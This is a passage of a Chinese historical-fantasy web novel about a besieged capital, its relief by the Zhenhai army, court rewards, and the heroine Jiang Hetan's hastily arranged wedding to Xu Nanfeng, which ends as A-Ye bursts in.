“殿下,殿下?”鹿长鸣唤了两声,丽阳有些迟钝地抬起头,鹿长鸣有些疲惫的脸上露出一个温暖的笑意,“再往前的路我不能陪您走了,您自己要学会照顾自己。” 风曜故意网开一面,就是等着城内的人崩溃出逃。一个太后一个公主,风曜必会善待二人,以作表率,丽阳去了之后必不会受苦。 这场战事,风曜若赢了,为维持自己的皇家正统之名,丽阳自然是尊贵的长公主。 风曜若是输了,丽阳因病而浑浑噩噩,谁人不知道?全是太后带着她去投奔敌军,太皇太后仁慈,不会真难为丽阳。 左右都是活路,唯有留在宫中,万一城破,那便生不如死。 丽阳的眼珠子转动一下:“……你不跟我们去吗?” 自打那日从梁州别院回来,丽阳的三魂好像丢了七魄,人越来越呆,话越来越少,鹿长鸣数了一下,这是丽阳这个月里跟他说的第五句话。 已经很好了,之前一个月不过三句。 “不去了。”鹿长鸣下了车辕,声音轻松,“我要去了,风曜会宰了我。” 毕竟他杀了那么多叛军。 太后抱怨:“怎么能只送一半呢?这车哀、我也不会驾呀!” “不用管,它自己会往前走,再过前他们的人会拦下你们。”鹿长鸣一笑,想说点什么告别的话,想想还是笑了笑,算了,在她的眼里,他只不过是一个微不足道的小人物罢了,不值得话别。 他转身便走,只朝身后扬了扬手,算是告别。 烈阳炙烤着大地,身后忽然传来太后的惊呼:“做什么去?回来!” 鹿长鸣回头。 阳光泛白,蓬头粗俗的丽阳下了牛车,向他跑过来。 一时间,鹿长鸣觉得自己可能是热晕了脑袋,出现了幻觉。 然而这幻觉如此清晰,他发现丽阳并非跑向他,而是跑向城墙根下那些伤兵。 宫人们的细布刚刚送到,丽阳抓起一条,就给伤兵包扎。 “啊啊啊!”伤兵惨叫起来,“我这刀口还没上药呐!” “对、对不起!”长久不说话,丽阳开口有些凝涩。 “公主殿下!”宫人们认出了一身补丁破衣的丽阳,“快快放下,让奴婢们来吧。” “公主?!”那个伤兵惊呆了,周遭为伤口所折磨的其它伤兵也愣住了,他们望向那个穿着破烂的姑娘,她苍白削瘦,手里拿着一条棉布,不知所措。 “公主来给我们裹伤……” “公主殿下亲自来给我们裹伤……” 伤兵们说着,热泪盈眶,不顾伤势,倒身行礼,“公主如此恩德,我等愿为大央粉身碎骨,死而后已!” “别,别……你们快起来!”丽阳扶起这个,那个又跪下,此起彼伏。 她的眼眶开始发烫,干涸已久的心中有热流开始淌过。 “我命你们免礼平身!” 鹿长明追上来的时候,看见丽阳站在人群中,她穿得比任何时候都破烂,眼中的神采却比任何时候都要夺目。 “你们为大央而战,便是大央的功臣!我身为大央的公主,为你们裹伤,理所应当!” “你们为报效家国而出战,我为报效家国而裹伤,我们同为大央子民,都在用我们自己的方式守护大央!” “我以你们为傲!” 久在上位的女孩好像天生就知道怎样鼓舞人心,原本死气沉沉的城墙下,一片欢欣。 “不过,我从没替人包扎过……”丽阳拿起棉布,不大自信地问,“你们……谁先来?” “我!” 鹿长鸣排众而出。 丽阳瞪他:“别开玩笑,你哪里受伤了?” 这双眼睛再一次瞪得圆滚滚,鹿长鸣脸上的笑意止都止不住:“我可以现划一道。” 丽阳眉毛一掀就要骂人,还好大庭广众的,她忍住了。 然后就看见鹿长鸣露出左臂,上面裹着一层棉布,隐隐渗出血迹, 确实是该换药了。 * 这些日子,姜菡萏快忙疯了。 梁州的府兵借着一次交战之际从叛军背后突袭,与南卫守军联合打了一次胜仗,并顺利进到京城。 京城的兵力增加一千人,比起叛军的七万人不足挂齿,但这批府兵训练有素,装备精良,分散在各城门,成为继玄甲军之后的第二强助。 人虽能闯进来,东西却没办法运进来。 姜菡萏仍然望材料而兴叹。 好在因为承德帝求仙问道,京城各家贵族府上都有丹房,搜罗搜罗勉强能用。姜菡萏绞尽脑汁想要用更少的剂量换出最大的威力。 就在她忙得焦头烂额的时候,顾晚章带着丽阳与鹿长鸣过来找她。 “有话快说,我没空陪公主玩儿。”姜菡萏直接道。 “谁要你陪玩儿?!” 听到这熟悉的骂声,看见这熟悉的白眼,姜菡萏抬起头,“咦”了一声:“你好啦?” 丽阳带来了自己的全部珍藏,从首饰到书画古董,满满地装了五大箱。 姜菡萏叹息:“此时京城米价已经贵过金价,我的粮仓里早就没有粮了,不信你问顾先生。你就算把传国玉玺拿来,我也只能给你一碗粥。” 丽阳道:“谁要跟你换粮?这些我全交给你,你拿去收买援军。” 鹿长鸣咳了一声:“我没有珍宝,只有银票,姜家钱庄里的十一万八千五百四十两,都交给小姐处置。” 姜菡萏呆住了。 京中战事胶着,风曜兵力日盛,吸引了不少州郡的攀附。顾晚章手中的财帛隐秘地送出京城,或收买人心,或挑拨离间,或买凶刺杀,花起来比流水还快。 正难以为继之时,两大财神从天而降。 * 七月十五日清晨,风曜声称要进太庙祭祖,再次开始攻城。 风曜手上的火药在四处城门都用过,眼下的每一座城门都岌岌可危。姜菡萏抱着最后三只陶罐站在城头——她已经连药铺的硫磺都搜罗过来了。 风曜依旧是银甲银冠,只是右眼多了一只眼罩,那是上一战中她留给他的礼物。 伤愈之后风曜再也没有离开过中军,姜菡萏的火药再也没能伤着他。 倒是阿夜有一次冲锋之时,差点落进他的陷阱——他在地上预先埋下了火药,算准了时间点燃,若非阿夜鼻子灵,早早嗅出火药味,此时世间已经没有玄甲军了。 风曜坐拥大军,兵士们可以分批轮换作战,守城的将士人手本就不够,别说轮换,连停下来喝口水都是奢侈。 长久下来,人人身心俱疲,连阿夜都熬瘦了,看上去气质越发森冷。 他已经冲锋过四轮,待士兵给他装满箭壶,便要开始第五轮冲锋。 手上的血太多,满手腻滑,根本握不住刀锋,他用牙咬着布条,把刀直接绑在手上。 姜菡萏拔开塞子,把水壶递给他。 他接过,一口气猛灌完,还水壶的时候发现被自己握出了血印子,下意识想帮她擦干净,低头却发现自己全身上下没有一处不带血。 有他自己的,更多的还是叛军的。 守军需要他的冲锋,每一次当他冲入敌群,城头的将士们才能得到片刻的喘息之机。 “阿夜,”姜菡萏塞了两只陶罐给他,低声道,“实在不行的时候,你就逃吧。” 阿夜看着她:“好,我带你逃。” “不用,我会自己逃。” 姜菡萏骗他的。 上一世的逃难是无穷无尽的痛苦,她受够了。 这一世的守城则是无穷无尽的消磨,频繁的失败会消磨一个人意气,当意气消磨完了,人就会失去希望。 她已经不记得自己多久没有睡了,阿夜只会比她更久,最久的还有这些城头上的将士们,敬老王爷的头发全白了,不到两个月,像是老了十年。 粮食耗尽了、武器耗尽了、天气过于干旱,连饮水都快要耗尽了。 错了吗? 姜菡萏有时会忍不住怀疑自己。如果直接打开城门,让风曜改朝换代,他也许会继续伪装自己是个明君,是不是好过现在? “我不会一个人逃。”阿夜道,“你在哪里,我就在哪里。” 他说完这一句,翻身上马,身上的玄甲军只剩最后五人。 “我要活着,你也要活着!”姜菡萏冲着他的背影大声喊。 是说给阿夜听,也是说给自己听。 阿夜回头,嘴角勾起来,露出一丝笑容,然后,催马冲进敌阵。 他率领的先锋军宛如刀锋一样插进叛军,他想像之前那样朝着风曜推进,可是风曜集中了大量的兵力防守,再锋利的刀也会陷进无穷的人海里。 人数太少了……姜菡萏绝望地想。 援兵……为什么一直没有援兵? 派出去求援的人一拔接着一拔,就算被风曜拦截了大部分,总会有几只漏网之鱼。 也许是承德帝名声太坏,不得人心;也许是风曜太会伪装,欺骗了民意;也许是援兵分散而且是小股,难成气候,还没有靠近便被风曜所败…… 她想过很多种原因,但没有哪种原因,能让援兵一个都没有出现。 别的援军就算了,许南风呢? 这几年间,她用姜家的力量给了许崇义提拔的机会,把许崇义从边远的镇海调到离京城更近的永州,为的就是就近策应。 许南风可是救世之主啊,他应该带着援军回来大杀四方,为什么现在影子都没有? “……难道,天真要亡我大央吗?” 敬老王爷发出极低的一声自语,忽地,他一咬牙,“把人带上来!” 将士们将一对母女推上城头,是景氏和姜蘅芷。 景氏满脸惊惧,姜蘅芷苍白削瘦。 “风曜!看看这是谁!”敬老王爷用尽力气大喊,“她是你的妻子,为了救你奋不顾身,你若还算个男人,便退出三十里外,否则,就亲眼看着她人头落地。” 风曜坐在马背上,背后旌旗猎猎,传令兵大声传达他的话:“威名赫赫的敬王如今已经黔驴技穷,只会拿女人来威胁敌人吗?贤王乃真命天子,不为儿女私情所动,请贤王妃安心上路,贤王登基之后,必定追封王妃为皇后。” 景氏大叫:“你说的这是什么鬼话?她是你妻子啊!她为了救你才被抓回宫的!” “娘,别说了。”姜蘅芷轻声道,“没有用的。” 她可以自欺欺人一时,却不能自欺欺人一世。 景氏看着城下的战场,吓哭了。 “姜菡萏,做个交易好吗?”姜蘅芷望着叛军遥遥的帅旗,低声道,“我帮你们一个忙,你帮我照顾我娘。” 她根本没有等姜菡萏回答,尖声道:“风曜乃是虞仙芝与安氏私通所生,非皇家血脉,此贼 以卑贱之身祸乱朝纲,为天地所不容,我宁死不愿与此贼为伍!愿生生世世,永不相见!” 最后一个字落地,姜蘅芷纵身一跃。 姜菡萏冲到城垛上,徒劳地伸出手,只抓住衣角上的一片白纱。 “芷儿!”景氏尖声大叫,紧随其后,这次姜菡萏抓住了,敬老王爷一把把景氏拎上来,景氏已经昏死过去。 姜蘅芷的话有不少叛军听到了,但在这样的战场上,根本没有时间让他们停下来,他们无法停下手里的刀,停下就是死。 也许最开始的时候有人因为相信风曜是正义而追随风曜,但到了现在,所有人都只为一件事——那就是赢! 胜利马上在望,这座屹立了千年的城池终究要归他们所有! 这样的贪婪和狂热根本不是谁的几句话能阻止得了的。 这一战从清晨持续到傍晚,太阳快要落山的时候,天边涌来了乌云,遮住了最后一点霞光。 暮色降临,四下里变得漆黑。 变化是什么时候开始的,谁也说不清楚。 守军将士只觉得叛军砍过来的刀剑好像越来越少,身边剩下的同袍越来越多。 叛军则开始惊慌,黑暗中的守军好像凭空多了几倍、不,十几倍,他们的同伴以难以想象的速度消失。 正沉浸在胜利渴望中的叛军将领最后才发现这一点,他们的头脑被最后一战的喜悦充满了,谁都看得出来京城唾手可得。 中军传来鸣镝之声,风曜在越来越浓郁的风雨气息中下令收兵。 然而叛军长期在对战中占据攻势,以至于他们忘了在守势时该如何配合,精锐有条不紊地撤退,附庸而来的队伍却开始反目,指责对方竟然趁乱向自己下黑手。 一道枝形闪电劈过长空,冷白的光芒短暂地照亮大地,看清真相的叛军心胆欲裂——战场上不知什么时候多了第三支队伍,他们悄无声息割断叛军的脖子,就像农夫收割麦子。 为首的是一名中年人,他身边的的少年浓眉大眼,一手执长枪,一手执刀,在闪电一晃而过的光明间隙里,他望向城头。 姜菡萏也看到了他。 许南风! 他带来了许崇义的镇海军! 轰隆……雷声紧随着闪电之后滚滚落下,紧跟着倾盆大雨从天而降,干渴已久的京城迎来了让它死里逃生的及时雨。 * 许崇义五十许年纪,国字脸,紫膛面皮,身材并不高大,但十分结实,他从大雨里走来,挽着裤脚和衣袖,看上去真像一个刚从田间回来的农夫。 他在路上遇到了许多阻碍,经过承德帝近二十年的横征暴敛,大央已是乱象丛生,离天下大乱只差一个引子。 风曜就是这个引子。 许多州郡开始拥兵自重,隔岸观火,随时准备捡点便宜。 出于这种目的,他们明里暗里阻挠镇海军借道。 “多亏了姜家小姐早有布置,在沿途州郡安插下人手,助臣等转危为安。” 许崇义坐在慈宁宫的大殿中,恭谦地向太后回禀详情。 和许崇义一同进来的还有一名陈化陈将军,是张贺的得力干将,千里迢迢从南疆一路急行,赶来勤王,在泰州附近和许崇义碰上了。 许崇义带了五万镇海军,再加上陈化带来的一万人,六万精兵强将,化整为零,分四个方向出发,最终在京城四门围合,借着天时地利,将猖狂的叛军一举全歼。 当然,“全歼”一词略有夸张,最后还是给风曜带着一万人马,逃进了西山。 太皇太后、风明、敬老王爷、姜祯、姜菡萏、丽阳、许南风、许南珠……殿中许久不曾这样热闹过。 姜菡萏毫不藏私:“这都是顾晚章的功劳。” 太皇太后大悦:“我就说那孩子是个了不得的人才,现在正是用人之际,你什么时候把他还回来?” 姜菡萏微笑:“他正在殿外等候传唤。” 姜菡萏的心情非常好。 雨后的空气清新明净,每一口呼吸都让人觉得幸福。 再也没有什么比死里逃生更美好的事了,因为再也没有什么东西比生命更美好。 大战已经过去三天。这三天里,所有人都忙得恨不能多生一个身子。 风曜逃往西山,阿夜率军追击。 原本在战场上连轴转的阿夜最需要休息,许南风自请追击,但就在他请命的时候,阿夜已经追出去了。 许南风:“……” “让他去吧,他对西山更熟悉。”姜菡萏说。 而且……他更想杀风曜。 许崇义立即命副将带着两万镇海军前去配合围剿。 两万人对一万人,再加上一个一入丛林更无对手的阿夜……姜菡萏对未来的战局充满希望。 也许,很快就会传来好消息。 一切就要结束了。 真是,太好了。 太皇太后忙命人快传顾晚章,才出口,忽又顿住,“不,传他去承乾殿,也请诸位一同移步。” 承乾殿是君王理政之殿,百官上朝之所,众人一听,都明白这是要正式封赏了。 许崇义惶恐道:“太皇太后容臣告罪,臣衣衫不整,不宜上朝。” “将军是挽救京城于危难之中的大英雄,真英雄者不拘小节,区区衣衫,何足道哉?”太皇太后朗声笑道,“若是不嫌弃,要不,问敬老王爷借一身蟒袍穿穿?” 许崇义立刻跪地:“臣不敢,臣万万不敢!” 太皇太后大笑:“同你玩笑的。我朝异姓王自开国起便只有两家,再无第三家,封王是不成的,便封你为镇海侯如何?” 除了承德帝手中乱卖爵位外,大央的爵位向来难封,许崇义一战成名,官至侯爵,足以名垂青史。 到了承德殿,百官齐聚,太皇太后正式颁旨,人人各有封赏。 其中敬老王爷与姜祯已是无爵可进,遂各赐田宅奴仆与珍宝。 顾晚章恢复翰林苑学士的身份,任户部侍郎。 户部尚书原为风曜派系,罢黜之后还未选人,侍郎便是真正的户部之主,管理着天下国库。 顾晚章的目光不着痕迹地掠过姜菡萏的脸,在她脸上看到了明净的笑容。 一直以来,她好像被什么东西追赶着,不停地要钱、要人、要粮。他原以为那是对权势的欲望,对天下的野心,现在他才明白,原来那是恐惧。 她好像很早就知道京城将有一场大战,一直以来所做的一切,都是为此战做准备。 救张贺、造火药、亲近许南风、提拔许崇义……包括当初在猎场上救下他。 现在的她像是心愿已了,这几年挣的钱全花光了,她的重担好像也已经放下。 顾晚章跪下行礼:“臣,叩谢天恩。” 丽阳从那日之后,天天去救助伤患,无一日暂停,并捐出所有钱财,只为早日平息战火,太皇太后对丽阳刮目相看,除赏赐珍玩之外,给丽阳加封号“仁敬”,加食邑三千户。 大央的公主很少有自己的食邑,丽阳行礼,退回到队列之中,站在顾晚章身边。 “恭喜殿下,”顾晚章轻声道,“殿下好像找到自己的方式了。” 丽阳微微一笑:“还要多谢先生点拨。” 她说完才发现,这好像是头一次在顾晚章面前说话没有紧张羞涩,她的手上忙出了茧子,但整个人变得从容坦荡。 是的,她找到了报效皇恩的方式。 不必嫁人,光是凭着公主的身份,她就可以给予子民更多的东西。 这是一场漫长的加封,鹿长鸣因为杀敌勇猛被封为羽林卫郎将。 鹿长明对羽林卫那一身明光铠可是狠狠羡慕过,现在梦想变成了现实,他的手臂还吊在胸前,就已经笑得咧开了嘴,情不自禁就扭头看向丽阳。 然后就发现丽阳恶狠狠地瞪着他的手臂——早上才包扎好的伤口,谁许他动来动去的?! 鹿长明立刻缩回身子。 正式封了许崇义之后,太皇太后意犹未足,因许南珠在战时救死扶伤无数,京城人所共睹,便封为明惠县主。 然后望向许南风:“你一路奔波,此战能成,你有不灭之功。我听闻你武艺高强,且有领军之才,不如就封你……” 太皇太后话未说完,许南风忽然跪下,仰首道:“太皇太后,陛下,臣愿以所有功劳,换一个请求。” “哦?”太皇太后的册封还未被人打断过,一时来了兴致,笑问,“那你说说看,你想求什么?” “请太皇太后赐婚。” 太皇太后笑了,到底是年轻人呐:“好,哀家答应你,说吧,你想求娶哪家的姑娘?” 雨后的阳光照进大殿,琉璃窗上晴光灿灿,许南风仰起头,朗声道:“姜家嫡女,姜菡萏。” 第68章 第68章原来真的是你要嫁人 一 声既出,满堂俱静。 所有人都在怀疑自己的耳朵,全体端庄地愣了一会儿,然后才开始交头接耳。 姜家嫡女? 这小子想娶未来皇后! 难道刚立了大功,就想造反? 难道刚太平下来的京城又要开始动荡? 此时站在朝堂上的所有人都是刚刚歇下一口气,昔日身边的许多同僚都已经在战事中丧生,每个人家中都办过丧事……京中死太多人了,谁都不想看见再死人了。 许家手握重兵,大功求赏,太皇太后不好驳回。 可若是应允,太皇太后又置皇家的颜面于何地?而且若不是姜菡萏造出的火药,风曜在围城第一日就攻破了城门,堂上诸人早就成了阶下囚。她身份高贵,为国为民,怎能让她不做皇后,而去做臣妻? 那不是天大的折辱吗? 难道要成全一个功臣,就要逼另一个功臣委曲求全? 姜菡萏在众人怜惜的眼神里沉默着,一言不发,其实内心是——许南风你好大的胆子啊! 如果现在他已经被证实了昭惠太子的身份,这求娶还算名正言顺,现在以臣子之身求娶未来皇后,这跟当场造反有什么区别? 许崇义反应很快,立即跪下:“犬子莽撞,请太皇太后降罪。” “许卿平身,不知者不罪。” 太皇太后对功臣格外宽厚,以“无知”之名化解许南风这场僭越的求婚,给许南风更高规格的封赏作为补偿,封许南风为上将军,赐紫袍、宅第美人与金帛。 “谢太皇太后,可臣……”许南风跪在当地,额角隐隐沁出汗水,咬牙将头一磕到底,“臣什么也不想要,只想求娶姜家嫡女。” 他早向义父坦白了心事,义父沉吟良久,告诉他,这次封赏是他唯一的机会。 陈方是南疆的人,迦南人野心勃勃,陈方的军队不能久离,很快就会离京返回南疆。 风曜未死,动荡未平,京城需要强大的兵力守护,许家就是这个强大的守护者。 只有这个时间,许南风无论要什么,太皇太后都得掂量掂量。 过了这段时间,局势稳定,天下太平,这句话一开口就是谋逆。 许南风眼前仿佛看到那一日宫门口的阿夜。 ——“菡萏,我要当皇帝,我要你嫁给我。” 阿夜是兽奴出身,都敢把这种话说出口,他再不说,难道要等阿夜杀了风曜回来以军功求婚吗? 那小子为了娶姜菡萏一定什么都做得出来! 珠帘晃动,帘后没有传出说话声。 朝堂上也没有人说话。 无力寂静中,大殿里的空气仿佛越来越沉重。 风明坐在龙座上,有点不安。 虽然他从小就知道菡萏姐姐将来会成为他的妻子,但他也很喜欢许南风,每一次去梁州别院,都是许南风带着他满山跑,摘果子打小鸟追猴子,带给他宫中从来没有过的快乐。 他很愿意看到菡萏姐姐和南风哥哥在一块儿。 他求助地望向姜祯。守城这些日子,有什么事情太皇太后不便发话,便会由姜祯来开口。 若不是姜家那几个老家伙明里暗里给姜祯使眼色,姜祯早就跳起来要开口了——一个两个的都是些什么东西?别想打我妹妹的主意! 此时姜祯得了太子首肯,脚尖一动,正要出列,姜菡萏低低咳了一声,然后道:“太皇太后,菡萏还有没有得到赏赐。” 姜祯心花怒放。还是我妹妹厉害。对啊,你小子可以用军功求赐婚,难道我妹妹不可以用军功求自由?谁还没点军功呢? 太皇太后大约也是这样想的,从帘后传出的声音温和了不少:“这可是哀家的不是。菡萏,你在此战中的功劳众所周知,举世目睹,无论你要什么,哀家都答应你。” 姜菡萏:“菡萏心悦许公子已久,恳请太皇太后成全。” 她说话总是不紧不慢,有点懒洋洋的,但是大殿太过安静,这句话殿内每个人都听得清清楚楚。 许南风额头触地,汗水滴入殿中的水磨地砖,他听到了一颗心回到胸膛的声音,然后心脏开始疯狂跳动。 “啪”,姜祯手中的牙笏跌在地上,摔成两截。 * “妹啊,你到底是哪条筋没有搭对?就算嫌弃阿明太小,不愿嫁进皇宫,也该挑个斯文儒雅的夫君才是!许崇义手握重兵,许南风又武艺高强,你嫁过去,满朝文武都要怀疑我们姜家想要笼络许家拿到兵权,夺位谋逆啊!” 姜菡萏被叫进慈宁宫,好半日才出来,姜祯一直在慈宁宫门外等着,急得团团转。 京中不养重兵,许南风如果能继承家业,势必要回到属地,到时妹妹不知道多久才能回一趟家。 许南风若是不能继承家业,只当一名寻常武将,又哪里值得他妹妹下嫁? 最重要的是,经过一场大战,姜祯发现当武将就是世间最危险的活计,因为死得太快了! 他不想妹妹年纪轻轻就当寡妇,所以对这桩婚事有一百个不满,最后抓着妹妹问:“太皇太后怎么说?有没有把你骂一顿?” “没有。”姜菡萏道,“祖姑母已经让礼部开始准备婚事了。” 姜祯:“?!” 姜祯:“不!” 太皇太后把姜菡萏叫到面前,确实是准备让姜菡萏打消念头。 姜菡萏只问了一句:“祖姑母是想让阿明当皇帝,还是想让姜家血脉当皇帝?” 太皇太后立刻听出这句话背后的含义:“你是什么意思?难道许南风身上流着姜家的血?” “他有可能便是当年的昭惠太子,只是我没有证据,不知道该怎么向您证明。” 太皇太后久久地沉默了,如果是以前的姜菡萏说这种话,太皇太后会认为这是孩子在胡闹。 可是这几年来,囤粮草,养府兵,提点周勤,杀虞仙芝,造火药,守城门……桩桩件件,都证明这一代的姜家嫡女绝非池中物。 “阿明……不适合当皇帝,他性子单纯,太爱玩闹,身体也不好……只当一个闲散王爷逍遥一生,其实更适合他。”太皇太后说道,“只是你现在没有证据,婚后便能找到证据吗?” “应该能。” 是许南风带来的援军拯救了京城,这个结果和上一世大同小异,许南风无疑是未来的中兴之君。 她原本以为要等到敬老王爷发现他的身份,等他成为昭惠太子,她才会嫁给他。但既然他已经开了口,她早些嫁过去也无妨。 比起主仆,夫妻是更亲密的关系,也许现在发现不了的东西,成亲之后就能发现。 “而且……”姜菡萏低声,“当年莲花台的事是我们姜家对不住他,我想待他好些,算是弥补。” 太皇太后长叹了一口气,再也没说什么。 姜菡萏把跟太皇太后说过的话又告诉了一遍姜祯,姜祯听后愣了半晌。 自从那年姜菡萏告诉他昭惠太子没死,姜祯就一直在派人寻找昭惠太子的下落,却一无所获。 万万没想到,人就在自己身边。 他回过神,眨了眨眼:“可是妹妹,你喜欢他吗?你是真心愿意嫁给他,还是因为他是昭惠太子?” 姜菡萏想,太皇太后就没有问这种问题。因为太皇太后同为姜家嫡女,深深知道,姜家嫡女没有喜不喜欢,只有应不应该。 “喜欢。”姜菡萏与其说是回答哥哥,不如说是安慰哥哥。 姜祯长长地松了一口气,握拳:“好吧,既然是你喜欢的,我这就回去舌战群儒,把那群老家伙吵趴下!” * 这桩婚事名义上是由礼部操办,可国库早已经精穷了,姜家倒是还有些家底,许家则是炙手可热的新贵,又刚与姜家攀上亲,愿以举家之力迎娶姜菡萏。 大战过后,京城很需要一场宏大的婚礼振奋人心。 按照风俗,未婚夫妻在婚前不宜碰面,许南风搬到了许崇义新得的侯府,许南珠却没有离开,一是因为姜菡萏这边有太多事情离不开她,二是因为她便是许家操持这桩婚事的人。 “不要铺张,一切就简。”姜菡萏看完各种仪程,回想起了上一世的婚礼,顿感头疼,“最重要的是快。快些完婚。” “不瞒小姐,若不是怕薄待小姐,这句话我也很想说。” 两个女孩子的目光碰在一起,都知道彼此在担心什么——这场婚礼想要安然举行,就得趁阿夜没有回来之前。 阿夜绝不是什么会隐忍的人,知道姜菡萏嫁人,必然会大闹一场。 虽然姜菡萏觉得自己能压得住阿夜,可是身为新娘,她还是想太太平平地完个婚。等到阿夜归来,木已成舟,就算阿夜想做什么也来不及了。而且又有凯旋之功,太皇太后必定倾力封赏,阿夜现在并 非当年不知人事的懵懂兽奴,经营庆州多年,他身居上位,多少应该懂得什么叫权衡利弊。 就这样,婚事紧锣密鼓地准备,半个月之内走完了三书六聘之礼,婚期就定在八月初五。 * 既非暑月,亦非围猎,往年这个时候的西山一片冷寂,秋雨绵绵,此时此刻山道间两支队伍正在鏖战。 镇海军不知是水土不服,还是不惯山间作战,随阿夜出征以来,并未展现出当日在城门下神出鬼没的战力。 又或者是风曜已至穷途,背水一阵,人人骁勇,阿夜这边明明人数多出一倍,双方却一直打了个持平。 直到曾经被叛军封锁的道路重新畅通,郭俊带着庆州与景州两地的府兵前来支援,战局才开始向阿夜倾斜。 “呛”然一声响,刀剑交锋,风曜长剑离手,踉跄两步,头盔落地,长发披散。 刀尖随后落下,停在风曜的颈间。 雨水淋过阿夜的头盔,面甲后的一双眼睛没有一丝情绪,稳得像山,冷得像冰,他例行询问:“降吗?” “哈哈哈,想不到我风曜竟会落到如此田地……” 风曜身上的伤口大大小小有十几处,血顺着雨水汩汩往下流。 阿夜本事全是从死亡中练出来的,杀人的技艺炉火纯青,每一刀都会切断风曜的关节,而不伤风曜的性命。 因为京中的命令是把风曜带回去处以极刑,震慑天下所有蠢蠢欲动的野心勃勃之辈。 风曜的护卫已经死伤了大半,最忠心的小内侍在片刻前死于阿夜刀下。剩下的人面对这尊杀神只剩下恐惧,转头逃进深山中。 但他们逃不远,转头便会被玄甲军射杀。 “区区兽奴,区区兽奴!”风曜脸上的肌肉扭曲,“神气什么?你不过就是姜菡萏养的一条狗!” 阿夜点点头:“亲手养的。唯一一条。” 亲手。 唯一。 这很重要。 重要到,让他的杀气动摇,只想早点回京。 “唯一一条……哈哈哈哈!”风曜疯狂大笑,“兽奴就是兽奴,除了杀人你还会什么?消息还不如我灵通——姜菡萏要和别人成亲了,她不要你了!” 下一瞬,风曜的咽喉落进阿夜手中:“你说什么?和谁成亲?” “很难猜吗?你带着两万人跟在我山里打了这么久,难道就没有想过探听一下京城的消息?八月初五,姜家嫡女下嫁镇海侯义子许南风……哈哈,是了,就是今天……哈哈哈哈……” “咔”地一下轻响,风曜的颈椎被拧断,脖子歪向一旁,残忍而嘲讽的笑意永远地凝固在脸上。 阿夜没有想杀他,只是手比脑子更快。 他在胡说。 拿菡萏胡说的人,罪该万死。 风曜的尸体被抛下,郭俊注意到这边的战况,却只看见阿夜转身就走。 那是下山的路。 “统领!” 郭俊大叫,阿夜充耳不闻,头也不回。 镇海军的副将试图拉住阿夜,阿夜长刀一挥,幸好那名副将身手矫健,险险闪过。 阿夜眯起了眼睛。 这些日子这位副将所显露的功夫,可不及这一闪的本事。 “今日你家少主人要成婚是吗?”阿夜蓦地问。 这个问题太突然了,副将脸上有转瞬的错愕。 副将是许崇义诸多义子中的一名,转即便想起义父的交待,他应该推说不知道,这样说不定还能再拖阿夜一阵子,完成侯爷的密令。 可是还没等副将开口,阿夜夺命的刀光如闪电般斩下。 这一次,副将没能躲过。 怎么杀起自己人来?! 郭俊追到这边,跌足叹息,他只来得及看见阿夜的背影,以及阿夜一闪而过的眼神。 那眼神里混合着愤怒与悲伤,交织成一片疯狂。 * 姜家上上下下张灯结彩,热闹非凡。 几乎全京城有头脸的贵眷们都云集菡萏院,为姜菡萏添妆。 姜菡萏的嫁妆从出生那一年便开始准备,父母过世之后由姜桢接手,漫长的时光里把姜菡萏一生要用的东西都包含了进去。 此刻她穿着左一重右一重的吉服,每一层都密密地绣着吉祥纹样,有牡丹、祥云、缠枝莲花、石榴、蝙蝠、喜鹊……只没有代表着皇后身份的凤凰。 头上顶着沉重的发髻,姜菡萏觉得脖颈越来越累,胸口也在发闷。 “把窗子打开。”她道。 下人走过去开了窗,秋天的雨气扑进屋内,但姜菡萏依然觉得有点透不过气。 成亲这件事情果然还是讨人厌,不管是上一世还是这一世。 阿福从梁州赶来为姜菡萏送嫁,她像出嫁前那样服侍姜菡萏,见状低声问道:“小姐,你不愿意嫁给许将军吗?” 许南风虽说是以全部军功换赐婚,太皇太后也没有让姜菡萏嫁给一个白身,封了许南风羽林卫郎将的官职。 姜菡萏道:“怎么会?我很早便知道我会嫁给他。” 只是……心头确实是堵了块大石,左右都不顺气。 思来想去都没发现到底是有什么不妥,她便不想了,让人去催姜祯。 东夷有风俗,新郎上门接亲之时必遭娘家人为难,且为难得越厉害,便显得对新娘子越疼爱。 这可给了姜祯发泄的机会。 堂堂姜家家主,率领五百府军堵门,还派暗卫潜入迎亲队伍内部捣乱。 许南风算是有备而来,带着众义兄及镇海军将领接亲,到底不如姜祯无耻,被堵在大门口进不来。 催促的消息传出去,姜祯先进来,气呼呼道:“岂有此理!世上哪有这么急着出阁的姑娘?” “这衣裳头发太重了……”姜菡萏道,“再说昨夜在丹房熬到半夜才睡,今日一早就起,我累死了。” “呸呸呸童言无忌,大喜的日子胡说什么?”姜祯没辙,“罢了罢了,人是你自己选的,我也不能拦着你。只有一件,在那边哪怕有一丁点儿不开心,立马就回来,菡萏院是你永远的家,我姜祯的妹妹绝不受一口闲气。” “好。”姜菡萏点头,“要是谁敢给我气受,我炸死他全家。” 姜祯不由笑了,笑着笑着嘴角就开始抽动,眼眶发红,一把抱住妹妹:“妹妹呜呜呜呜我舍不得你啊你走了我可怎么办啊……” 姜菡萏:“……” 本来想说镇海侯府就在咱们家隔壁,但算了,哥哥想哭就哭吧。 待姜祯嚎啕哭完,姜菡萏从窗子里看见许南风一行人被放进来了。 他穿着一身大红绣金吉服,满面喜色,眼睛亮如晨星。 后面的人给他撑着伞,但他走得太快,脚下如风,撑伞的人跟不上,只能一路小跑。 “该盖上盖头了。”苏妈妈提醒。 大红盖头罩上姜菡萏,侍女扶着她,走向院门。 院门打开,秋雨里带着一丝寒气,四下里已经掌灯,在有限的视野里,姜菡萏只看见雨丝斜斜地飘洒在灯光里,一根根亮如银针。 好,快些完成婚礼,她真的累了,只想好好睡一觉……姜菡萏在心中闷闷地盘算。 就在这个时候,她发现了不对。 周围本来有管乐之声,说笑之声,还有风声,雨声……忽然间,所有的声音都消失了,仿佛被谁一刀截断。 没有人谈笑,没有说话,只有风雨如旧。 姜菡萏:“怎么回事?” “不知道……”阿喜低声道,“好像是有人来 了,但雨太大,看不清那人是谁……哎呀!” 阿喜忽然发出一声惊叫,“他他他要干什么?!” 惊呼声和喊杀声转瞬间打破寂静,周遭的声音一时比之前吵闹百倍,客人们惊惶逃蹿,却又无处可逃。 “是那个孽畜!”苏妈妈咬牙道,“我就知道他不会善罢干休!” ……阿夜?! 阿夜来了?! 姜菡萏抬手就要掀了碍事的盖头,却被苏妈妈一把摁住手,苏妈妈急道:“我的小姐,新娘子的盖头只能新郎来掀!你自己掀了,这桩婚事就不成了!” 